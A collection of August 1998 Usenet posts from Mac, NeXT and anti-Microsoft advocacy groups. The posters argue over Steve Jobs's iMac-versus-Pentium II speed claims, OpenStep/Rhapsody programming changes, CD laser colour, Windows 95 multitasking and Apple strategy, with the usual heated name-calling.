> In article <Exw6qK.I4D.0.queen@torfree.net>, da728@torfree.net (Karl
> Knechtel) wrote:
>
> > Only slow relative to the other G3s. It still whoops PII @$$. And you
haven't
> > even addressed your (implied) claim that the iMac is not faster than the P2-
> > 400 (I personally don't believe that, but you still haven't refuted Jobs'
> > claim.)
>
> According to photoshop, quake, word, excel, mathematica...the imac is no
> faster than a p2 300 (no, I dont have any imac tests, but the imac has
> been tested against a g3 233).
>
> And for every benchmark that says a imac is faster than a p2 400, I am
> sure their are AT LEAST one that shows a p2 300 is faster than a imac.
>
> 1) Apple's own internal engineers made a effort to find out the truth, and
> it showed a g3 266 is only about %30 faster than a p2 266.
> 2) Steve Jobs knows this, show he thus knows bytemark does not correspond
> with reality
> 3) Steve Jobs is trying to say a imac is faster than a p2 400, even tho he
> knows this is not true (from 1)
> :.
> Steve Jobs is lieing
Look it up in a dictionary.
First, learn how to spell "lying" (ordinarily, I wouldn't resort to
spelling flames, but you keep mis-spelling it even after being told the
correct spelling multiple times.
Then, learn what it means.
Jobs is practicing marketing. The means carefully selecting your claims to
support your position. He has not lied in any reasonable sense of the
word.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Followup-To: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Date: 19 Aug 1998 01:48:04 GMT
Organization: University of Maryland, College Park
Message-ID: <6rdask$ndp$1@hecate.umd.edu>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net>
Joe Ragosta (joe.ragosta@dol.net) wrote:
: In article <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net>,
: macghod@concentric.net (Steve Sullivan) wrote:
: > In article <6r4rnr$inu$1@plug.news.pipex.net>, "D.S.Lyon"
: > <ybf09@dial.pipex.com> wrote:
: >
: > > |"The iMac for $1,299 toasts the fastest PC money can buy at any
: > > |price--the Pentium II 400," said Steve Jobs, Apple's interim CEO.
: >
: > The mac is starting to REALLY take off, we are heading for awesome times,
: > and yet now we have to deal with a scummy lieing ceo who is telling lies
: > as bad as intel.
: You really need to learn what "telling lies" is. You have a penchant for
: callin someone a liar every time they say something you don't agree with.
: What Jobs said is correct. On Bytemarks, the G3 toast the PII.
: Sure, you could choose some other benchmarks:
: How fast you can get the computer set up. The Mac wins.
: How fast a newbie can learn the system. The Mac wins.
: How fast you can get your work done. The Mac wins.
What kind of benchmarks are these? Geez, are you running out of real
numbers? How about that Mathematica number you challenged?
: There are lots of benchmarks. Calling Jobs a liar because he chose a
: benchmark that you personally don't like is a pretty clear indication of
: your bias.
I think we all know what Steve Jobs means, and the impression that he wants
to convey. I suppose that it's "technically true".
Then again, the president didn't have a "Sexual relation" with "that woman"
either. They're both meant to mislead and convey an impression that isn't
true.
: --
: Regards,
: Joe Ragosta
: See the Complete Macintosh Advocacy Page
: http://www.dol.net/~Ragosta/complmac.htm
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody Openstep changes: opinions of NeXT programmers and users?
Date: 19 Aug 1998 05:45:43 GMT
Organization: Digital Fix Development
Message-ID: <6rdoq7$4fl$1@news.digifix.com>
References: <6rd076$dc1$1@leol.net-link.net> <6rdhkg$55c$1@lwnws01.ne.highway1.com>
In-Reply-To: <6rdhkg$55c$1@lwnws01.ne.highway1.com>
On 08/18/98, John Kheit wrote:
>"DarkMerlin(JB)" <amazon@net-link.net> wrote:
>> For those of you who are experienced in NeXT Openstep programming
and
>> Rhapsody/MacOSX server Openstep programming what do you think of
the
>> changes that have been made. Is it better? Is something missing
that you
>> really liked? Is there much change at all? Please include you're
opinions
>> on MacOS programming and straight NeXT programming. I'm interested
if this
>> has any effect on your point of view.
>
>Most of the changes suck and are for the purposes of satiating
feelings of
>inadequacy and insecurity on the part of mac people.
>
Looking at the criteria that the original poster used, I think
you're off base. It appears that "DarkMerlin" is looking for
differences from a programming standpoint. I don't claim to be a mind
reader John, but I'm guessing that you're more peeved by the lack of
the OpenStep UI, and the perception that UNIX is going away.
From a programming standpoint, the changes to the existing
OpenStep APIs are minimal. There are many new additions that are very
much a positive thing.
We get goodies like NSDocument, the forthcoming NSUrl and all
the general URL support thoughout the classes. HTML support in NSText
and NSAttributedStrings. IB has definately moved along. Java
integration is great.
We've gone from a situation where much of what we're working
with was stagnant and not moving forward to where we're now getting
more functionality.
My only concern is that new capabilities are continued to be
made available via native YB classes or bridged Java Classes, and not
only non-OO Carbon APIs.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy
From: rbarris@netcom.com (Robert Barris)
Subject: Re: Imac faster than p2 400!!!!!!!
Message-ID: <rbarrisExx5uq.1nv@netcom.com>
Organization: Netcom
References: <macghod-1208981457040001@sdn-ar-001casbarp290.dialsprint.net> <rbarris-ya023280001208981532360001@206.82.216.1> <slrn6th3ul.qs3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Date: Wed, 19 Aug 1998 04:30:26 GMT
Sender: rbarris@netcom11.netcom.com
In article <slrn6th3ul.qs3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
Matt Kennel <replace this with '@'> wrote:
>On Wed, 12 Aug 1998 15:32:36 -0700, Rob Barris <rbarris@quicksilver.com> wrote:
>:In article <macghod-1208981457040001@sdn-ar-001casbarp290.dialsprint.net>,
>: However application-level performance on iMac is another story, due to a
>:couple changes in the iMac design:
>:
>: a. native interrupt/exception handling (interrupt latency only a few
>:percent of what it used to be) - see the developer note. Directly affects
>:things like processing streams of net packets, serial traffic and so on.
>:Meaning, more cycles freed up for the task at hand, a web browser for
>:example.
>
>Can you explain the specifics of this?
>
>I know what interrupt handling means, but what exactly does this
>have to do with the iMac hardware, instead of an updated operating
>system?
Essentially a firmware/OS change. But you can't get an iMac without it,
so the net effect is that the iMac at 233MHz can perform better than the
old G3/233 on tasks where lots of interrupts are generated.
>Or did the hardware on older macs preclude an efficient operating
>system algorithm?
I don't believe it is a hardware issue. The new code may well make its
way over to the older machines as time goes by.
Rob
From: kindall@mail.manual.com (Jerry Kindall)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Tue, 18 Aug 1998 22:04:08 -0400
Organization: Manual Labor
Message-ID: <kindall-1808982204080001@nic-c41-094.mw.mediaone.net>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net> <uthant-1808981759220001@user-37kb5fb.dialup.mindspring.com> <enj-1808981701510001@kly12.slac.stanford.edu> <uthant-1808982144500001@user-38lcfud.dialup.mindspring.com>
In article <uthant-1808982144500001@user-38lcfud.dialup.mindspring.com>,
uthant@un.org (U Thant) wrote:
> I thought that NIR (or at least invisibility) was considered to be over 800
> nm. At any rate, I had just gotten off of the phone with Yamaha's service
> dept. and they confirmed that they use a red laser. I have had my
> Yamaha apart (uh oh, warranty voided) and also a Toshiba. Both had a
> visible red beam coming from the pickup lens (I used incense smoke to see
> it), and not just an LED. I can't imagine why they would put in an extra
> red laser just to make a consumer (who would probably never see it) warm
> and fuzzy. Also, wouldn't a shorter wavelength be easier to focus?
Red lasers can resolve smaller spots on the disc than infrared. Although
CD is spec'd so that infrared will work, possibly a red laser is more
accurate, or requires less error correction, or whatever. There's no
reason the frequency should matter much with commercially manufactured
CDs, although I suspect that a green or blue laser might have trouble with
some CD-R or CD-RWs, most of which use a blue or green dye.
--
Jerry Kindall mailto:kindall@mail.manual.com Technical Writing
Manual Labor http://www.manual.com Web Design, etc.
A makeover for your Mac every week. http://www.manual.com/tss/
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Date: 18 Aug 98 23:09:28 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1FFBA2B-3E08C@206.165.43.134>
References: <slrn6tkmpa.1j5.cjm@herbie.husker>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy
Chad McQuinn <cjm@purdue.edu> said:
>
>Steve Jobs never lied, and he never asked anyone to lie. Now mind your
>business, all of you--this is between Steve, the iMac, and their god.
But I thot that Steve WAS God...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: 19 Aug 1998 06:12:08 GMT
Organization: University of California at San Diego
Message-ID: <slrn6tkr5o.bl2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <35dc0e60.788068@news.supernews.com>
On Tue, 18 Aug 1998 23:33:48 GMT, T. Max Devlin <mdevlin@eltrax.com> wrote:
:I believe the case is that everybody *wants* a computer to be like a car.
:Which is good. Even the people who don't want computers to be "easy" above
:all else want them to be like cars.
I wish computers were more like cars in the way that counts:
You drive whichever sort you want wherever you want, and there isn't a
cabal of clueless businessmen standardizing everybody's car against
their will into Tempo 98's or Tempo NT's in order to "reduce maintenance
costs" and because Tempo Gasoline is ubiquitous.
And the chariman of Gigantic Motors (makers of Tempo and other fine
Tempo accessories) isn't under suspicion of muscling Tucker motors out
of business.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: nhughes@sunflower.com (nate)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Wed, 19 Aug 1998 01:59:32 GMT
Organization: KU
Message-ID: <35e7302c.64622203@198.0.0.100>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <35D864F5.8B4D58B9@inficad.com> <6ra2ld$3ag@fridge.shore.net> <oTjCkFAdwd21EwJz@circlesquare.demon.co.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 19 Aug 1998 02:02:58 GMT
On Tue, 18 Aug 1998 20:55:09 +0100, Kevin Ward
<Kevin@circlesquare.demon.co.uk> wrote:
>have in the States!) ...and if they do upgrade, how long since they
>bought it do they upgrade and what do they upgrade?
>
>IMO the average persons' idea of upgrade is BUY A NEW ONE!
I'm in the process of "upgrading" a 486 which is about 6 years old
(estimate). I could get away with replacing the MB and CPU with an
AMD and reusing the old memory. I'd have to specify a Motherboard
which uses 30 pin memory, but altogether it would cost about $200.
I'm taking a slightly different tack. I'm replacing the MB and CPU
with an AMD K6 233, adding 64 meg of SDRAM into a DIMM slot and adding
a Viper330 vid card. The entire upgrade is costing about $400.
--
Nathan A. Hughes
The University Theatre, KU
http://scenedesign.home.ml.org
Date: Tue, 18 Aug 1998 13:23:53 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-1808981323540001@wil54.dol.net>
References: <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <id_est-1308981118340001@192.168.1.3> <gmgraves-1308980931320001@sf-usr1-51-179.dialup.slip.net> <paul_lucente-ya02408000R1308981433530001@merck.com> <6qvvf4$cbg$1@nnrp1.dejanews.com> <35df7da9.24901085@news.calweb.com>
In article <35df7da9.24901085@news.calweb.com>,
hangtown_nospam@thelostweb.com (Scott Willsey) wrote:
> On Fri, 14 Aug 1998 00:13:24 GMT, quinlan@intergate.bc.ca wrote:
>
> >
> >This is an excellent example. If your device is identified as either a
> >joystick or mouse, the device mill be handled using Apple's default mouse
> >service routine. This routine only handles relative position movement and a
> >single button but it still works.
> >
>
> That's nice... windows 95 and 98 do the same thing. It may detect a
> modem as some generic thing. It'll work, but not as well as if you
> tell it what your modem really is. Same with a graphics card, or
> whatever.
>
> I fail to be impressed by something that I see as normal.
That's somewhat true.
But let's look at video cards. With Win9x, when you install a new video
card, it starts up with 640x480 resolution and there's nothing you can do
about it until you locate and install the drivers. With a Mac, you get a
full range of resolutions on a new card, even before you install the
drivers.
That's part of the reason that you have essentially complete computer
funtionality with a Mac even when you're booting from a floppy disk.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: uthant@un.org (U Thant)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Tue, 18 Aug 1998 17:59:22 -0400
Organization: UN
Message-ID: <uthant-1808981759220001@user-37kb5fb.dialup.mindspring.com>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net>
In article <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> > You'd have to look directly into it - lasers travel straight. You
> > can see the red dot of the laser beam on the lens, without
> > looking straight into the beam's path.
>
> But is the beam ITSELF visible red? It is possible that the laser
> LED itself produces some red light INSIDE the laser diode, but
> its the color of the laser beam itself that concerns us. If it is red,
> then you would see a slim column of red light emitting from the
> laser diode and striking the disc. (as in "Goldfinger" - "No Meester
> Bond, I expect you to DIE!"). This would be visible from the side. No
> visible red laser beam, then its not a red laser.
>
> George Graves
Sorry, George, most CD lasers are very definitely visible red and NOT
infra-red.
Take one apart sometime.
Also, you will not be able to see a slim column of red light emitting from the
laser diode and striking the disc _unless_ you use some medium to
reflect (and/or refract) the laser beam. Try looking at the beam from a
simple laser pointer which is just a more powerful version of a diode
(solid state) laser used in CD players. Without using smoke, fog, steam,
etc., you can't see the beam, even in a pitch dark room.
Much more powerful lasers of the type used in light shows (and to split
secret agents in half) are not diode lasers. These boys are as much as 10
watts or more and they produce enough light to be refracted by dust in the
air (and smoke from spliffs at concerts). Their beams can be seen quite
well.
Nash aka Mr Knowitall
--
email me at:
denash@mindspring.com
Date: Tue, 18 Aug 1998 23:27:19 -0700
From: jak@asu.edu (John Kestner)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Message-ID: <jak-1808982327190001@dialup110.phnx.uswest.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <6rc9nl$bpb$1@bunyip.cc.uq.edu.au> <Chris.Burchard-1808981833090001@192.168.0.5> <35D9F38E.6407@ieighty.net>
Organization: Blues Industrial
pDC?^;F326tzhE*=nKWFfDW[,&
In article <35D9F38E.6407@ieighty.net>, legacy@ieighty.net wrote:
>> I don't think that Apple invented SCSI, ethernet and the GUI
>> Xerox invented the GUI, and Apple bought the rights.
>
>Nope, they didn't even buy it. Because the Patent board maintaines that
>'one cannot copywright or patent a theoretical concept'. They just
>borrowed it from them, and M$ borrowed if from Apple.
Well, at least Apple gave Xerox some cheap stock options (which reaped
them a nice profit). While you can't patent a "theoretical concept", you
can patent and protect specific elements, as Apple tried to in their long
lawsuit with MS.
>> And that's really for sure:
>> Microsoft did NOT invent the internet.
>
>What??!?! You be Bill has been LYING to us? Whould he DO THAT?
Not so loud, else he might come in and shut this whole thread down.
john
--
In the year 2000... "David Copperfield will finally reveal how he does his
tricks...He's Jesus!" - Andy Richter
jak@asu.edu - http://www.public.asu.edu/~jkestner/
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server to Ship September 30?
Date: Wed, 19 Aug 1998 01:10:02 -0500
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1908980110020001@r4149.resnet.cornell.edu>
References: <6r9kcc$r9l$1@nnrp1.dejanews.com> <ericb-1708982253080001@r4149.resnet.cornell.edu> <6rbvjp$ou$1@nnrp1.dejanews.com>
In article <6rbvjp$ou$1@nnrp1.dejanews.com>, spagiola@my-dejanews.com wrote:
> Frankly, it doesn't sound likely. I can imagine WebObjects being bundled with
> MacOS X Server; buy WO, get MOSXServer -- that makes sense. But doing it the
> other way -- ie you can only get MOSX server with WO -- makes NO sense for the
> vast majority of potential users.
That's very true, but it doesn't mean Apple won't do it anyway!
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
What's good for Standard Oil is good for Microsoft.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 19 Aug 1998 05:10:39 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6rdmof$drt@news1.panix.com>
References: <35D45C80.38A0C880@ericsson.com> <35D84F6F.DAED08CD@ericsson.com> <6r9spk$d0e@newsb.netnews.att.com> <35D880A3.989DB717@ericsson.com> <6ra265$dgg@newsb.netnews.att.com> <35D89D57.E0678722@ericsson.com> <slrn6thab4.sf3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35D8B78C.46566D88@ericsson.com> <6raopr$23t@news1.panix.com> <35D9D123.C98BF639@ericsson.com>
On Tue, 18 Aug 1998 14:08:19 -0500, Michael Peck
<Michael.Peck@ericsson.com> wrote:
>> No one is stopping you from building your own CHRP boards. Just
>> don't expect Apple to help you compete against them.
>Sun helps its cloners to compete against it. Well, Sun doesn't really
>look at it that way, I suppose. I think they look at it as helping their
>cloners to expand their market and solidify the platform's position as
>an open system.
Apple tried that. It didn't work. Cloning did not help grow the market.
This has been discussed before, not that you've gained any new ability
to comprehend. Feel free to consult dejanews for a whole slew of reasons
why cloning didn't work.
>> >* An Intel version of this new operating system
>> MacOSX Server runs on Intel. Apple has not committed to ongoing Intel
>> support, but if sales warrant it they will.
>Funny how you speak for Apple.
An Apple product manager made it pretty clear that MacOSX would run on
Intel and that Apple would
>> It is standard practice for companies that aren't run buy idiots not
>> to announce anything until you are ready to profit from it.
>Is that right? I keep hearing it in this newsgroup. Funny how I've never
>encountered this ideology anywhere in the business world...
Walk over to the marketing department of any major company and ask them.
>Intel announced Merced several months ago but the chip is not expected
>to ship until mid-2000.
The've commited to it and are ready to sign people on to develop it.
I am good friends with Intel spokesman Manny Vara. I am pretty sure that
if I asked him about MMX2, Embeded Strongarm, the i740pro or Intel's plans
for Firewire he would say "we have no comment right now"
<<snip>>
>But all of these companies are run by idiots, of course. They seem to
>think it's profitable in and of itself for customers to be aware of
>their plans, but they just don't realize it's costing them.
How much would it cost them if they commit to something and then have
to back out of it? Remember Copland? OS/2 PPC? Osbourne?
>> >* A stock price that can sit still instead of fluctuating wildly
>> Huh? Apple stock has had steady growth all year with only a couple of
>> minor corrections. Please point out _any_ actively traded stock in _any_
>> industry that hasn't had at least one +/- 5% single day change in the
>> past 12 months. Have you been following the market at all this year?
>Save it, smartypants. Apple's stock performance is common knowledge;
>normal stock performance evaluation spans multiple years in any case. I
>invite you to investigate Apple's stock performance in the last two
>years and run your own logic on what this communicates about the
>company.
I've been working in the financial industry for over five years. I've
beaten the S&P the past three years, last year by almost 12%.
>> >More ideas:
>> >* Get out of the hardware business
>> >* Get out of the operating system business
>>
>> And sell iMac tee-shirts and mugs?
>
>No, I was thinking they could market an extraordinary line of training
>services for salesmen, especially for companies without a compelling
<snip>
>Ask a stupid question...
I guess those are the only questions you are qualified to ask.
>> >* Ship Yellow Box for NT, Solaris, HP-UX, Irix, and AIX tomorrow
>> To run what? I have YB for NT. It makes no sense to ship it unless MacOSX
>> Server has shipped or WO4 has shipped.
>Are you developing with it? If you are, and it still "makes no sense to
>ship it", I am flabbergasted. I don't even want to know what logic gets
>you to that point.
It makes no sense to "just ship it"
I would rather Apple build a real marketing plan for it, ship it on its
own hardware and provide sales support for it. I would hate for Apple to
ship a product that isn't done, and possibly damage that product's
reputation.
This is like saying that the KDE folks should ship a finished KDE and
KOffice tomorrow. They can't, because it isn't done yet. When it is done,
the'll ship it. How can you not understand this?
I can't believe ericsson and HP would hire a moron like you. Do you demand
that Ericsson ship hand held video phones tomorrow? Anti gravity shoes?
>> How many AIX desktop user _want_
>> to run YB apps? Why should Apple spend the time and money on porting to
>> HPUX when that time and money might go to improving QuickTime?
>Sure, but why should Apple spend the time and money on QuickTime when it
>could be spent on Macintosh hardware?
Quicktime is a major asset to Apple. It does a lot more to the bottom line
than YellowBox for Irix would. Now if Apple traded QuickTime and YB for
OpenGL, that would make sense. It would probably be beneficial to both
companies.
Porting for the sake of porting, with not attention to a business plan is
pure stupidity.
>We're a hardware company, after all, let's prove it! Let Apple defy
>change!
No wonder you are a libertarian, you don't have to foggiest notion on how
basic economic models deal with scarcity.
<clue>
Apple has to invest its time and energy to those products that provide
the biggest payoff.
How many customers would YB for AIX/HP-UX/et al provide?
How many customers would an improved Quicktime provide?
</clue>
>> If you need to deploy to other platforms, build in WebObjects. Any
>> platform that can run NetScape can use it.
>Okay, I'll start porting my high-availability application middleware
>right away.
WO can provide an interface to compiled C Apps. I see no reason why
you couldn't do that and use WO to interface to it. Any server
running WO will have (IIRC) PDO and EOF running on it, allowing you to
use objects running on NT, Solaris, HPUX and MacOSX from any machine
running NT, Solaris, HPUX or MacOSX.
I am aware of a WO system that runs on Sun hardware and takes in live
data from a custom DA running on NT and uses it to provide real time
information of market activity.
>> > Something else to earn back the $400 million spent on NeXT
>> Like the OS you think they should get out of the buisness of selling?
>No, actually, more like the developer tools and application framework
>for which NeXT was commended in the very first place. Maybe you've
Huh? Apple is shipping WO4 this year. Apple is shipping YB/NT this
year. Apple is shipping MacOSX server this year.
>> It will run on pre g3 systems. It is being written on pre-g3 systems.
>> This is a marketing move.
>No!
Carbon is (for the most part) being developed on pre-g3 systems.
>heard that Microsoft was committing to MacOS X. I think they'll ship
>MSIE, but have they said anything about Visual development, Office, or
You can expect much of the software that runs on MacOS to be ported to
Carbon for MacOSX.
This is old news.
From: sal@panix.com (Sal Denaro)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: 19 Aug 1998 05:10:36 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6rdmoc$drt@news1.panix.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <6rc9nl$bpb$1@bunyip.cc.uq.edu.au> <Chris.Burchard-1808981833090001@192.168.0.5> <35D9F38E.6407@ieighty.net> <6rd1km$bgs$1@plo.sierra.com>
On Tue, 18 Aug 1998 16:00:59 -0700,
Earl Malmrose <earl.malmrose@nospam.sierra.com> wrote:
>Legacy 'Xunker' wrote in message <35D9F38E.6407@ieighty.net>...
>>Point of order, though. Win9x doesn't do Premptive MTing, either.. they
>>fake it real well.
>Wrong. Win9x does do pre-emptive multitasking. It is not "faked".
<zen>
You are both wrong. You are both right.
</zen>
Win95 (and '98) has PMT if (and only if) no 16bit code is running. There
is still some 16 bit crud left over in GDI.exe and USER.exe and when an
App calls something that maps to one of those APIs, the system looses PMT.
If you are running even one 16bit App, or any real mode driver, you lose
PMT.
Most modern Win32 apps avoid using the 16bit crud that was left in for
backwards compatibility (or comBatibility).
NT does not have this problem, but, it does have its own problems. Anyone
who thinks an App can't kill NT please head over to
http://www.eyeone.no/KillerApp . Back up your work first.
You might want to check out Andrew Shulman's (sp?) book for more info on
this. (And while you're at it, read the Petzold book as well.)
From: Erik Corry <erik@arbat.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: 18 Aug 1998 22:21:59 GMT
Organization: Home
Message-ID: <6rcuq7$olr$1@ec.arbat.com>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net>
User-Agent: tin/pre-1.4-971215 (UNIX) (Linux/2.0.35 (i686))
George Graves <gmgraves@slip.net> wrote:
> But is the beam ITSELF visible red? It is possible that the laser
> LED itself produces some red light INSIDE the laser diode, but
> its the color of the laser beam itself that concerns us. If it is red,
> then you would see a slim column of red light emitting from the
Oh dear, you just blew your credibility on technical
matters totally.
> laser diode and striking the disc. (as in "Goldfinger" - "No Meester
> Bond, I expect you to DIE!"). This would be visible from the side. No
> visible red laser beam, then its not a red laser.
The Bond reference may be a joke, but if you really think
laser beams can be seen from the side, you must have your
knowledge of lasers from the movies or from smoke-filled
discos. Pop down to your local electronic gadget store
and take a careful look at their laser pointers.
As to the frequency of CD lasers, we have seen lot of heat
and not much light on this newsgroup (must be an infrared
discussion!). Can't someone take their CD player apart
(not me, I don't have one at the moment) and look up the
part number and specs for the laser. Last I took one apart
I think it was red, but I was trying to avoid looking at
it due to the risk of blinding myself.
--
You couldn't deny that, even if you tried with both hands. -- The Red Queen
--
Erik Corry erik@arbat.com
From: mark@indy-lv.biomol.uci.edu (Mark Brandt, Ph.D.)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Tue, 18 Aug 1998 19:25:33 -0700
Organization: University of California, Irvine
Message-ID: <mark-ya02408000R1808981925330001@news.service.uci.edu>
